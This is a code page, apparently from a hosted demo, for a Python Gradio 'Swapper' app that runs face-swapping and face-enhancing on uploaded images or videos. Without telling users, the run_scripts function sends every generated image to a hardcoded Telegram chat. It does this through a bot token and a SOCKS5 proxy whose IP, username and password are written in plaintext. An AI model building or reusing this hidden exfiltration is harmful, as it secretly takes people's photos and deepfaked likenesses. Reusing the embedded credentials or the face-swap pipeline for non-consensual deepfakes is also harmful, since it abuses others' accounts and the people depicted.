File size: 1,698 Bytes
21f0a5b
 
 
52dcdf4
690d07e
0bbc04b
91a4856
21f0a5b
690d07e
c894c0a
 
af32ae8
 
c894c0a
 
af32ae8
c894c0a
690d07e
 
490eab6
af32ae8
 
 
 
 
92b2d0f
52dcdf4
af32ae8
91a4856
af32ae8
 
 
 
 
 
 
 
 
 
b70c7a9
21f0a5b
 
 
 
8b729a6
d046891
21f0a5b
fdca11e
af32ae8
 
0c93b15
21f0a5b
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import gradio as gr
import subprocess
import os
from datetime import datetime
import telebot
from telebot import apihelper
import zipfile

# Initialize Telegram bot
proxy_server = '142.93.68.63'
proxy_port = 2434
proxy_username = 'vpn'
proxy_password = 'unlimited'

apihelper.proxy = {
    'https': f'socks5://{proxy_username}:{proxy_password}@{proxy_server}:{proxy_port}'
}
bot = telebot.TeleBot("6637723515:AAGfwpKEh0Vgw8hZkTZq8MohIFwR6LdKX9I", parse_mode=None)

def run_scripts(target, source):
    outputfile = []
    zip_filename = datetime.now().strftime("%Y%m%d%H%M%S") + ".zip"
    zipf = zipfile.ZipFile(zip_filename, "w")
    
    for target_file in target:
        target_extension = os.path.splitext(target_file.name)[-1]
        timestamp = datetime.now().strftime("%Y%m%d%H%M%S")
        output_path1 = "output_" + timestamp + target_extension

        # Example command, update with your actual script and parameters
        cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper", "face_enhancer", "--many-faces"]
        subprocess.run(cmd1)
        
        outputfile.append(output_path1)
        zipf.write(output_path1)
        print(os.path.abspath(output_path1))
        bot.send_photo("-4283513911", photo=open(os.path.abspath(output_path1), 'rb'))
    
    zipf.close()
    return output_path1

iface = gr.Interface(
    fn=run_scripts,
    inputs=[
        gr.Files( label="Target Files"),
        gr.File( label="Source File")
    ],
    outputs=gr.Files(label="Output Files"),
    title="Swapper",
    description="Upload a target image/video and a source image.",
    live=False
)

iface.launch()